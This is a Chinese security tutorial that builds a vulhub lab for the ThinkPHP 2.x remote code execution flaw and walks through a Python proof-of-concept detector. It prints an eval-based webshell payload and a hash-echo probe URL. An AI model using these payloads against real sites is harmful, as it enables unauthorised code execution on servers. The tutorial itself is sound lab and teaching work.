Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
PHP代码审计简介
PHP代码审计是指对PHP程序进行安全审计,以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言,广泛用于开发网站和Web应用程序。由于其开源性质和易于学习的特点,许多开发人员使用PHP来构建他们的网站和应用。
然而,不可否认的是,PHP应用程序也存在着安全风险。由于PHP的灵活性和易用性,开发人员可能会犯一些常见的安全错误,如注入攻击、跨站脚本攻击(XSS)、跨站请求伪造(CSRF)等。
PHP代码审计的目的是识别和修复这些安全漏洞,以确保应用程序的安全性。通过审计代码,可以发现潜在的漏洞,如未经验证的用户输入、不正确的权限控制、不安全的数据库查询等。
在进行PHP代码审计时,审计人员通常会使用一些工具和技术来辅助他们的工作。这包括静态代码分析工具、动态代码分析工具、漏洞扫描器等。此外,审计人员还需要具备一定的安全知识和编程经验,以便能够理解和分析代码中的潜在漏洞。
总之,PHP代码审计是一项重要的安全工作,可以帮助开发人员识别和修复潜在的安全漏洞,以保护应用程序和用户的数据安全。
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装
安装 docker
#更新软件
apt-get update
#安装CA证书
apt-get install -y apt-transport-https ca-certificates
#安装docker
apt install docker.io
#查看docker是否安装成功
docker -v
#启动docker
systemctl start docker
#显示docker信息
docker ps -a


如上图所示,我们已经成功安装好了docker
安装pip和docker-compose
#安装pip
apt-get install python3-pip
#安装docker-compose
apt install docker-compose
#查看版本,是否安装成功
docker-compose -v


如上图所示,我们已经成功安装好了pip和docker-compose
安装vnlhub
#安装vnlhub
git clone https://github.com/vulhub/vulhub.git

将docker换成国内源
#更改源
vim /etc/docker/daemon.json
#加入以下内容
{"registry-mirrors": ["https://dockerproxy.com","https://hub-mirror.c.163.com","https://mirror.baidubce.com","https://ccr.ccs.tencentyun.com"]
}#重启docker
systemctl restart docker
#查看信息,出现图中配置的信息即为成功
docker info

使用vulhub靶场
进入你想试验靶场的位置,cd vulhub/目录名,可以用ls查看漏洞靶场

比如我们想进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞 可以搭建的靶场有五个

我们拿 2-rce 漏洞举例,如果我们想要安装 2-rce 漏洞环境,可以 cd 到 2-rce ,然后输入以下命令启动靶场环境:
docker-compose up -d
输入以下的命令可以查看当前启动的靶场环境
docker-compose ps
若不需要使用该靶场的时候,可以输入以下的命令移除环境:
docker-compose down
最后我们输入http://localhost:8080 就能访问该靶场环境

ThinkPHP 2.x 任意代码执行漏洞原理
ThinkPHP是一个开源的PHP开发框架,该框架存在代码执行漏洞,漏洞产生的原因是因为ThinkPHP在处理URL参数时,没有对参数进行充分的过滤和验证,导致攻击者可以构造恶意的URL参数,从而执行任意代码。
具体原理如下:
-
攻击者构造恶意的URL参数,例如在GET请求的参数中添加PHP代码。
-
ThinkPHP框架对URL参数进行处理时,会通过parseRequest方法解析URL,获取控制器和操作方法等信息。
-
在解析URL参数时,框架会使用eval函数将参数中的代码进行执行,从而实现代码执行的功能。
-
攻击者构造的恶意URL参数中的代码会被eval函数执行,从而导致任意代码执行漏洞的产生。
在ThinkPHP 2.x 版本里面 preg_relace的/e来匹配这个路由,导致用户输入参数被插入了双引号中,造成了任意代码执行。其POC如下所示:/?s=/Index/index/xxx/${@print(eval($_POST[cmd]))}
现在,我们构造如下的URLhttp://localhost:8080/?s=/Index/index/xxx/${var_dump(md5(123))},将会爆出如下的那么一串数字,这一步就是我们用python写检测ThinkPHP 2.x 任意代码执行漏洞的POC的关键。

这里爆出的数字是由MD5经过32位[小]加密的数字123

ThinkPHP 2.x 任意代码执行漏洞复现POC
接下来我们拥python写检测ThinkPHP 2.x 任意代码执行漏洞的POC,代码内容如下:
#!/usr/bin/env pythonimport requests
from urllib.parse import urljoin
from bs4 import BeautifulSoupdef thinkphp2_rce(url):payload = '?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'url = urljoin(url, payload)response = requests.get(url=url)
# 这里的31664625b85cc0cf91406a4e028ede29是由handsomewuyue字符经过32位[小]MD5加密得到的数字,用户可根据自己在实际过程中构造的POC进行自定义更改if '31664625b85cc0cf91406a4e028ede29' in response.text:print("漏洞存在")else:print("漏洞不存在") if __name__ == '__main__':url = 'http://localhost:8080/'thinkphp2_rce(url)
注意:判断漏洞是否存在的MD5加密数据是根据我们所构造的POC中所发送的字符绝定的,这里的31664625b85cc0cf91406a4e028ede29是由我们所构造的payload'?s=/index/index/xxx/${var_dump(md5(handsomewuyue))}'中的handsomewuyue字符经过32位[小]MD5加密得到的数字,用户可根据自己在实际过程中构造的POC进行自定义更改

POC代码详细分析
这段代码是一个用于检测ThinkPHP 2.x版本存在远程命令执行(Remote Code Execution)漏洞的脚本。下面是代码的分析:
- 导入所需的库:
-
requests: 用于向服务器发送HTTP请求和接收响应。 -
urljoin: 用于将相对URL转换为绝对URL。 -
BeautifulSoup: 用于解析HTML响应。- 定义一个名为
thinkphp2_rce的函数,该函数接收一个url参数。
- 定义一个名为
-
在函数内部,定义一个payload字符串,其中包含一个特定的URL路径(
?s=/index/index/xxx/${var_dump(md5(handsome xuanyue))})。这个payload是用来构造恶意请求的。 -
使用
urljoin函数将payload与传入的URL拼接在一起,得到最终的URL。 -
使用
requests库发送GET请求,将最终的URL作为请求目标。 -
如果响应文本中包含特定的MD5哈希值
(31664625b85cc0cf91406a4e028ede29),则打印"漏洞存在";否则,打印"漏洞不存在"。
在if __name__ == '__main__':部分,定义了一个默认的URL变量(url = 'http://localhost:8080/'),然后调用thinkphp2_rce函数,并传递这个URL作为参数。这是为了在直接运行脚本时进行测试,可以根据实际情况修改URL。
运行效果图
如下是我们这串代码的实际运行效果图:

相关文章:
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三)
Python武器库开发-武器库篇之ThinkPHP 2.x 任意代码执行漏洞(六十三) PHP代码审计简介 PHP代码审计是指对PHP程序进行安全审计,以发现潜在的安全漏洞和风险。PHP是一种流行的服务器端脚本语言,广泛用于开发网站和Web应用程序。由…...
SQLite数据库(数据库和链表双向转换)
文章目录 SQLite数据库一、SQLite简介1、SQLite和MySQL2、基于嵌入式的数据库 二、SQLite数据库安装三、SQLite的常用命令四、SQLite的编程操作1、SQLite数据库相关API(1)头文件(2)sqlite3_open()(3)sqlite…...
React框架的来龙去脉,react的技术原理及技术难点和要点,小白的进阶之路
React 框架的来龙去脉:技术原理及技术难点和要点 1. React 的起源与发展 React 是由 Facebook 开发的一个用于构建用户界面的 JavaScript 库。它最初由 Jordan Walke 创建,并在 2013 年开源。React 的出现是为了解决在大型应用中管理复杂用户界面的问题…...
CPU飙升100%怎么办?字节跳动面试官告诉你答案!
小北说在前面 CPU占用率突然飙升是技术人员常遇到的一个棘手问题,它是一个与具体技术无关的普遍挑战。 这个问题可以很简单,也可以相当复杂。 有时候,只是一个死循环在作祟。 有时候,是死锁导致的。 有时候,代码中有…...
物理层(二)
2.2 传输介质 2.2.1 双绞线、同轴电缆、光纤和无线传输介质 传输介质也称传输媒体,是数据传输系统中发送器和接收器之间的物理通路。传输介质可分为:①导向传输介质,指铜线或光纤等,电磁波被导向为沿着固体介质传播:②)非导向传输介质&…...
C#——文件读取IO操作File类详情
文件读取操作 IO类 就是对应文件的操作的类I/O类 包含各种不同的类 用于执行各种文件操作,创建文件删除文件读写文件 常用的类: File处理文件操作的类 FilleStream用于文件当中任何位置的读写 File类 1.文件创建 File.Create() 在指定路径下创建…...
昨天gitee网站访问不了,开始以为电脑哪里有问题了
昨天gitee网站下午访问不了,开始以为是什么毛病。 结果同样的网络,手机是可以访问的。 当然就ping www.gitee.com 结果也下面那样是正常的 以为是好的,但就是访问www.gitee.com也是不行,后来用阿里云的服务器curl访问是下面情况&…...
深入理解适配器模式:Java实现与框架应用
适配器模式是一种结构型设计模式,它允许将一个类的接口转换成客户端希望的另一个接口。适配器模式使得原本由于接口不兼容而不能一起工作的类可以协同工作。在本篇博客中,我们将详细介绍适配器模式,并演示如何在Java中实现它。最后࿰…...
跌倒识别:守护公共安全的AI技术应用场景-免费API调用
随着科技的不断进步,人工智能在各个领域的应用日益广泛,其中在公共安全领域,智能跌倒识别系统正逐渐成为守护人们安全的重要工具。本文将分享智能跌倒识别系统在不同场景下的应用及其重要性。 产品在线体验地址-API调用或本地化部署 AI算法模…...
算法:渐进记号的含义及时间复杂度计算
渐进记号及时间复杂度计算 渐近符号渐近记号 Ω \Omega Ω渐进记号 Θ \Theta Θ渐进记号小 ο \omicron ο渐进记号小 ω \omega ω渐进记号大 O \Omicron O常见的时间复杂度关系 时间复杂度计算:递归方程代入法迭代法套用公式法 渐近符号 渐近记号 Ω \Omega Ω …...
idea导入文件里面的子模块maven未识别处理解决办法
1、File → Project Structure → 点击“Modules” → 点击“” → “Import Model” 2、可以看到很多子模块,选择子模块下的 pom.xml 文件导入一个一个点累死了,父目录下也没有pom文件 解决办法:找到子模块中有一个pom.xml文件,…...
IOS Swift 从入门到精通:协议和扩展
文章目录 协议协议继承扩展协议扩展面向协议的编程总结: 今天你将学习一些真正的 Swifty 功能:协议和面向协议的编程(POP)。 POP 摒弃了庞大而复杂的继承层次结构,代之以更小、更简单、可以组合在一起的协议。这确实应…...
Vue插件开发:Vue.js的插件架构允许开发者扩展Vue的核心功能,我们可以探讨如何开发一个Vue插件并与社区分享
了解Vue插件 Vue插件的概念: Vue插件用于为Vue.js添加全局级别的功能。它提供了一种开箱即用的机制来应用全局性的功能扩展。这些插件通常用来将全局方法或属性,组件选项,Vue实例的方法,或者注入一些组件选项比如mixins和自定义方法添加至Vue.js。 Vue插件的使用场景:…...
学习面向对象前--Java基础练习题
前言 写给所有一起努力学习Java的朋友们,敲代码本身其实是我们梳理逻辑的一个过程。我们在学习Java代码的过程中,除了需要学习Java的一些基本操作及使用,更重要的是我们需要培养好的逻辑思维。逻辑梳理好之后,我们编写代码实现需要…...
用Python实现抖音新作品监控助手,实时获取博主动态
声明: 本文以教学为基准、本文提供的可操作性不得用于任何商业用途和违法违规场景。本人对任何原因在使用本人中提供的代码和策略时可能对用户自己或他人造成的任何形式的损失和伤害不承担责任。包含关注,点赞等 该项目的主要功能是通过Python代码&…...
图像分隔和深度成像技术为什么受市场欢迎-数字孪生技术和物联网智能汽车技术的大爆发?分析一下图像技术的前生后世
图像分隔和深度成像是计算机视觉和图像处理领域的两项重要技术,它们各自有不同的技术基础和要点。 图像分隔技术基础: 机器学习和模式识别: 图像分隔通常依赖于机器学习算法,如支持向量机(SVM)、随机森林…...
Redis 内存策略
一、Redis 内存回收 Redis 之所以性能强,最主要的原因就是基于内存存储。然而单节点的 Redis 其内存大小不宜过大,会影响持久化或主从同步性能。 我们可以通过修改配置文件来设置 Redis 的最大内存: # 格式: # maxmemory <byt…...
Java小实验————斗地主
早期使用的JavaSE用到的技术栈有:Map集合,数组,set集合,只是简单实现了斗地主的模拟阶段,感兴趣的小伙伴可以调试增加功能 代码如下: import java.util.*;public class Poker {public static void main(String[] arg…...
【Oracle】Linux 卸载重装 oracle 教程(如何清理干净残留)系统 CentOS7.6
总览 1.停止监听 2.删除 Oracle 数据库实例 3.删除 Oracle 相关服务 4.删除 Oracle 服务脚本 5.清理 Oracle 软件和配置文件 6.强制卸载 Oracle 软件包 一、开始干活(所有操作使用 root 权限,在 root 用户下执行) 1.停止监听 lsnrctl sto…...
web中间件漏洞-Jenkins漏洞-弱口令、反弹shell
web中间件漏洞-Jenkins漏洞-弱口令、反弹shell Jenkins弱口令 默认用户一般为jenkins/jenkins 使用admin/admin123登陆成功 Jenkins反弹shell 格式为 println"命令".execute().text 在/tmp目录中生成shell.sh文件,并向其中写入反弹shell的语句 new…...
零门槛NAS搭建:WinNAS如何让普通电脑秒变私有云?
一、核心优势:专为Windows用户设计的极简NAS WinNAS由深圳耘想存储科技开发,是一款收费低廉但功能全面的Windows NAS工具,主打“无学习成本部署” 。与其他NAS软件相比,其优势在于: 无需硬件改造:将任意W…...
多模态2025:技术路线“神仙打架”,视频生成冲上云霄
文|魏琳华 编|王一粟 一场大会,聚集了中国多模态大模型的“半壁江山”。 智源大会2025为期两天的论坛中,汇集了学界、创业公司和大厂等三方的热门选手,关于多模态的集中讨论达到了前所未有的热度。其中,…...
【ROS】Nav2源码之nav2_behavior_tree-行为树节点列表
1、行为树节点分类 在 Nav2(Navigation2)的行为树框架中,行为树节点插件按照功能分为 Action(动作节点)、Condition(条件节点)、Control(控制节点) 和 Decorator(装饰节点) 四类。 1.1 动作节点 Action 执行具体的机器人操作或任务,直接与硬件、传感器或外部系统…...
相机从app启动流程
一、流程框架图 二、具体流程分析 1、得到cameralist和对应的静态信息 目录如下: 重点代码分析: 启动相机前,先要通过getCameraIdList获取camera的个数以及id,然后可以通过getCameraCharacteristics获取对应id camera的capabilities(静态信息)进行一些openCamera前的…...
C++ 求圆面积的程序(Program to find area of a circle)
给定半径r,求圆的面积。圆的面积应精确到小数点后5位。 例子: 输入:r 5 输出:78.53982 解释:由于面积 PI * r * r 3.14159265358979323846 * 5 * 5 78.53982,因为我们只保留小数点后 5 位数字。 输…...
鱼香ros docker配置镜像报错:https://registry-1.docker.io/v2/
使用鱼香ros一件安装docker时的https://registry-1.docker.io/v2/问题 一键安装指令 wget http://fishros.com/install -O fishros && . fishros出现问题:docker pull 失败 网络不同,需要使用镜像源 按照如下步骤操作 sudo vi /etc/docker/dae…...
智能分布式爬虫的数据处理流水线优化:基于深度强化学习的数据质量控制
在数字化浪潮席卷全球的今天,数据已成为企业和研究机构的核心资产。智能分布式爬虫作为高效的数据采集工具,在大规模数据获取中发挥着关键作用。然而,传统的数据处理流水线在面对复杂多变的网络环境和海量异构数据时,常出现数据质…...
【7色560页】职场可视化逻辑图高级数据分析PPT模版
7种色调职场工作汇报PPT,橙蓝、黑红、红蓝、蓝橙灰、浅蓝、浅绿、深蓝七种色调模版 【7色560页】职场可视化逻辑图高级数据分析PPT模版:职场可视化逻辑图分析PPT模版https://pan.quark.cn/s/78aeabbd92d1...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
Python Einops库:深度学习中的张量操作革命
Einops(爱因斯坦操作库)就像给张量操作戴上了一副"语义眼镜"——让你用人类能理解的方式告诉计算机如何操作多维数组。这个基于爱因斯坦求和约定的库,用类似自然语言的表达式替代了晦涩的API调用,彻底改变了深度学习工程…...
